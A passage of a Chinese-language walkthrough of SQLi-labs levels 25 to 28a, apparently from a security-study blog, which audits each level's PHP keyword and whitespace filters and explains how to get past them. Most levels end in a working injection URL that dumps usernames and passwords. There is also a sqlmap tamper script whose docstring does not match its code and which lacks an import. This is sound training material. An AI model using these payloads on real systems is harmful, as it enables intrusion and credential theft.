from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def tamper(payload, **kwargs):
    """
    Add an inline comment (/**/) to the end of all occurrences of (MySQL) "information_schema" identifier

    >>> tamper('and or')
    'anandd oorr'
    """

    retVal = payload

    if payload:
        retVal = re.sub(r"(?i)(and)", r"anandd", re.sub(r"(?i)(or)", "oorr", payload))

    return retVal
  1. 另存为xx.py
  2. 使用sqlmap调用该tamper

sqlmap -u "http://127.0.0.1/sqlilabs2/Less-25/?id=1" --tamper "xx.py" --technique E --threads 10 --dbs --batch

第二十五a关 基于GET盲注整型单引号-你的OR及AND归我所有

源码审计
代码语言:javascript
复制
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

  if($row)
{
      echo "<font size='5' color= '#99FF00'>";  
      echo 'Your Login name:'. $row['username'];
    //echo 'YOU ARE IN ........';     
    echo "<br>";
      echo 'Your Password:' .$row['password'];
      echo "</font>";
  }
  else 
{
    echo '<font size="5" color="#FFFF00">';
    //echo 'You are in...........';
    //print_r(mysql_error());
    //echo "You have an error in your SQL syntax";
    echo "</br></font>";  
    echo '<font color= "#0000ff" font size= 3>';  

}
}
  else 
{ 
  echo "Please input the ID as parameter with numeric value";
}

function blacklist($id)
{
  $id= preg_replace('/or/i',"", $id);     //strip out OR (non case sensitive)
  $id= preg_replace('/AND/i',"", $id);    //Strip out AND (non case sensitive)

  return $id;
}
  1. 源码和上一关类似,过滤机制一样
  2. 不同的是整形闭合
  3. 不会输出错误信息了,所以不能进行报错注入了
  4. 直接上payload

http://127.0.0.1/sqlilabs2/Less-25a/?id=-1 union select 1,(select group_concat(username,passwoorrd) from users) ,3--+

第二十六关 基于GET错误-你的空格和注释归我所有

源码审计
代码语言:javascript
复制
function blacklist($id)
{
  $id= preg_replace('/or/i',"", $id);     //strip out OR (non case sensitive)
  $id= preg_replace('/and/i',"", $id);    //Strip out AND (non case sensitive)
  $id= preg_replace('/[\/\*]/',"", $id);    //strip out /*
  $id= preg_replace('/[--]/',"", $id);    //Strip out --
  $id= preg_replace('/[#]/',"", $id);     //Strip out #
  $id= preg_replace('/[\s]/',"", $id);    //Strip out spaces
  $id= preg_replace('/[\/\\\\]/',"", $id);    //Strip out slashes
  return $id;
}
  1. 从源码看除了过滤or和and外还过滤了#和--
  2. 还有斜杠和*号和空格
绕过方式
  • 编码绕过
    • %09 TAB键(空格)
    • %0A 新建一行(空格)
    • %0C 新的一页
    • %0D return即回车功能 (php-5.2.17,5.3.29成功)
    • %0B TAB键(垂直)
    • %A0 空格 (php-5.2.17成功)
  • 括号绕过
    • 用()绕过,意思就是不使用任何空格

payload:

http://127.0.0.1/sqlilabs2/Less-26/?id=1'%26%26extractvalue(null,concat(0x7e,(select(group_concat(username,'~',passwoorrd))from(security.users)),0x7e))%7c%7c'1

第二十六a关 基于GET错误-你的空格和注释归我所有-字符型-括号

源码审计
  1. 和上一关绕过方式一样,只是不能使用报错注入了
  2. 需要通过括号进行闭合
绕过方式

payload

http://127.0.0.1/sqlilabs2/Less-26a/??id=1111')union%A0select(1),(select(group_concat(id,'~',username,'~',passwoorrd))from(security.users)),3%7c%7c('1

第二十七关 基于GET错误-你的UNION和SELECT归我所有-字符型单引号

源码审计
代码语言:javascript
复制
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);    //strip out /*
$id= preg_replace('/[--]/',"", $id);    //Strip out --.
$id= preg_replace('/[#]/',"", $id);     //Strip out #.
$id= preg_replace('/[ +]/',"", $id);      //Strip out spaces.
$id= preg_replace('/select/m',"", $id);     //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);      //Strip out spaces.
$id= preg_replace('/union/s',"", $id);      //Strip out union
$id= preg_replace('/select/s',"", $id);     //Strip out select
$id= preg_replace('/UNION/s',"", $id);      //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);     //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);      //Strip out Union
$id= preg_replace('/Select/s',"", $id);     //Strip out select
return $id;
}
  1. 从源码可知过滤了union和select,并非大小写忽略的那种
  2. *和--也被过滤了
  3. 会打印出错误信息,可以使用报错注入
绕过方式
  • 双写绕过

uniunionon selecselectt

  • 大小写绕过

select -> SeLect union -> UNion

payload

http://127.0.0.1/sqlilabs2/Less-27/?id=1'%09and%09updatexml(1,concat(0x7e,(SeleCt(group_concat(username,password))from(users)),0x7e),1)and'1

第二十七a关 基于GET错误-你的UNION和SELECT归我所有-双引号

源码审计
  1. 绕过方式一样,双引号闭合
  2. 不输出报错信息,不能使用报错注入

payload

http://127.0.0.1/sqlilabs2/Less-27a/?id=1"%09and%091=2%09%09uniunionon%09SElselectect%091,(SElect(group_concat(username,password))from(users)),3%09or%09"1

第二十八关 基于GET错误-你的UNION和SELECT归我所有-字符型单引号和括号

源码审计
代码语言:javascript
复制
// connectivity 
  $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
  $result=mysql_query($sql);
  $row = mysql_fetch_array($result);
  if($row)
{
      echo "<font size='5' color= '#99FF00'>";  
      echo 'Your Login name:'. $row['username'];
      echo "<br>";
      echo 'Your Password:' .$row['password'];
      echo "</font>";
  }
  else 
{
    echo '<font color= "#FFFF00">';
    //print_r(mysql_error());
    echo "</font>";  
}
}
  else { echo "Please input the ID as parameter with numeric value";}




function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
$id= preg_replace('/[--]/',"", $id);        //Strip out --.
$id= preg_replace('/[#]/',"", $id);         //Strip out #.
$id= preg_replace('/[ +]/',"", $id);          //Strip out spaces.
//$id= preg_replace('/select/m',"", $id);         //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);          //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);     //Strip out UNION & SELECT.
return $id;
}
  1. 通过源码分析,过滤了union select 忽略大小写
  2. 过滤了#和注释、空格
绕过方式
  • 双写绕过

union

  • 加字符绕过

union all select

直接上payload

http://127.0.0.1/sqlilabs2/Less-28/?id=1')%0aand%0a1=2%0aunion%0aall%0aselect%0a1,database(),3%0aor ('1

第二十八a关 基于GET盲注-你的UNION和SELECT归我所有-字符型单引号和括号

和上一关类似

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-08-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 网络安全自修室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 第一关 基于错误的GET单引号字符型注入
    • 存在注入点判断
    • sqlmap 注入常用命令
    • 第二关 基于错误的GET整型注入
      • 存在注入点判断
      • 第三关 基于错误的GET单引号变形注入
        • 存在注入点判断
        • 第四关 基于错误的GET双引号字符型注入
          • 存在注入点判断
          • SQLMAP注入
          • 源代码分析
          • 第五关 基于GET单引号双注入
            • 存在注入点判断
              • 报错注入方式(十种)
              • 第六关 基于GET双引号双注入
              • SQLMAP注入
              • 第七关 基于文件写入注入
                • 存在注入点判断
                  • 写入文件配置(使用条件)
                    • 写入敏感文件
                      • 读取敏感文件
                      • SQLMQP 读写文件
                      • 第八关 基于GET单引号布尔型盲注
                        • 存在注入点判断
                        • SQLMAP注入
                        • 第九关 基于GET单引号基于时间盲注
                          • 存在注入点判断
                          • 第十关 基于GET双引号基于时间盲注
                            • 存在注入点判断
                            • SQLMAP注入
                            • 第十一关 基于错误的POST单引号字符型注入
                              • 注入点判断
                              • 第十二关 基于错误的POST双引号字符型注入
                              • 第十三关 基于POST单引号双注入变形
                              • 第十四关 基于POST双引号双注入变形
                              • 第十五关 基于POST单引号布尔型时间盲注
                              • 第十六关 基于POST双引号布尔型时间盲注
                              • SQLMAP注入
                              • 第十七关 基于POST错误的更新
                                • 注入点判断
                                  • 源码分析
                                  • SQLMAP注入
                                  • 第十八关 基于POST错误的Uagent字段数据头注入
                                    • 注入点判断
                                    • 第十九关 基于POST错误的Referer字段数据头注入
                                    • 第二十关 基于POST错误的Cookie-Uagent字段数据头注入
                                    • 第二十一关 基于base64编码单引号的Cookie注入
                                    • 第二十二关 基于base64编码加密的双引号Cookie注入
                                    • SQLMAP注入
                                    • 第二十三关 基于GET错误的过滤注释
                                      • 注入点判断
                                      • 第二十四关 POST二次排序注入-存储型注入
                                        • 注入点判断
                                        • categories: SQL注入
                                          • 第二十五关 基于错误的GET单引号-你的OR及AND归我所有
                                            • 源码审计
                                            • 绕过方式
                                          • SQLMAP编写tamper绕过
                                            • 第二十五a关 基于GET盲注整型单引号-你的OR及AND归我所有
                                              • 源码审计
                                            • 第二十六关 基于GET错误-你的空格和注释归我所有
                                              • 源码审计
                                              • 绕过方式
                                            • 第二十六a关 基于GET错误-你的空格和注释归我所有-字符型-括号
                                              • 源码审计
                                              • 绕过方式
                                            • 第二十七关 基于GET错误-你的UNION和SELECT归我所有-字符型单引号
                                              • 源码审计
                                              • 绕过方式
                                            • 第二十七a关 基于GET错误-你的UNION和SELECT归我所有-双引号
                                              • 源码审计
                                            • 第二十八关 基于GET错误-你的UNION和SELECT归我所有-字符型单引号和括号
                                              • 源码审计
                                              • 绕过方式
                                            • 第二十八a关 基于GET盲注-你的UNION和SELECT归我所有-字符型单引号和括号
                                            相关产品与服务
                                            云数据库 SQL Server
                                            腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
                                            领券
                                            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档